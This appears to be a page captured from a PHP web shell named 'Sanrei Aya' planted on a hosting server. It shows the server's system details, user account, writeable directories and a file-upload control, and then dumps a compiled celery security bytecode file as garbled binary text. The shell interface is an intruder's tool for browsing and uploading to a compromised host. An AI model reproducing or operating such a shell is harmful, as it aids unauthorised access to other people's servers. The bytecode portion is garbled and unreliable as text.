Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/security/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/security/__pycache__/__init__.cpython-39.pyc
a

��Sh;	�@s�dZddlmZddlmZddlmZddlmZdZ	dZ
d	Zd
Zzddl
Z
Wneyjee	��Yn0dd
d�Zddd�ZdS)zMessage Signing Serializer.�)�disable_insecure_serializers)�registry)�ImproperlyConfigured�)�
register_authz|You need to install the cryptography library to use the auth serializer.
Please install by:

    $ pip install cryptography
z�Sorry, but you have to configure the
    * security_key
    * security_certificate, and the
    * security_cert_store
configuration settings to use the auth serializer.

Please see the configuration reference for more information.
aYou have to configure a special task serializer
for signing and verifying tasks:
    * task_serializer = 'auth'

You have to accept only tasks which are serialized with 'auth'.
There is no point in signing messages if they are not verified.
    * accept_content = ['auth']
)�setup_securityN�jsonc	Cs|durddlm}|��}t|�|j}	|	jdks@|	jdgkrHtt��|pP|	j	}|pZ|	j
}|pd|	j}|pn|	j}|px|	j
}|r�|r�|s�tt��t|��R}
t|��*}t|
��||��|||�Wd�n1s�0YWd�n1s�0Yt�d�dS)z#See :meth:`@Celery.setup_security`.Nr)�current_app�auth)Zceleryr	Z_get_current_object�_disable_insecure_serializers�confZtask_serializerZaccept_contentr�SETTING_MISSINGZsecurity_keyZsecurity_key_passwordZsecurity_certificateZsecurity_cert_storeZsecurity_digest�SECURITY_SETTING_MISSING�openr�readrZ_set_default_serializer)Zallowed_serializers�key�key_password�cert�store�digest�
serializerZappr	rZkf�cf�r�B/usr/local/lib/python3.9/site-packages/celery/security/__init__.pyr,s$






VrcCst|d�dS)N)�allowed)r)�	whitelistrrr�disable_untrusted_serializersIsr)NNNNNNrN)N)�__doc__Zkombu.serializationrrrZcelery.exceptionsrZ
serializationrZCRYPTOGRAPHY_NOT_INSTALLEDrr
�__all__Zcryptography�ImportErrorrrrrrr�<module>s 

�


Yohohohohohooho | Sanrei Aya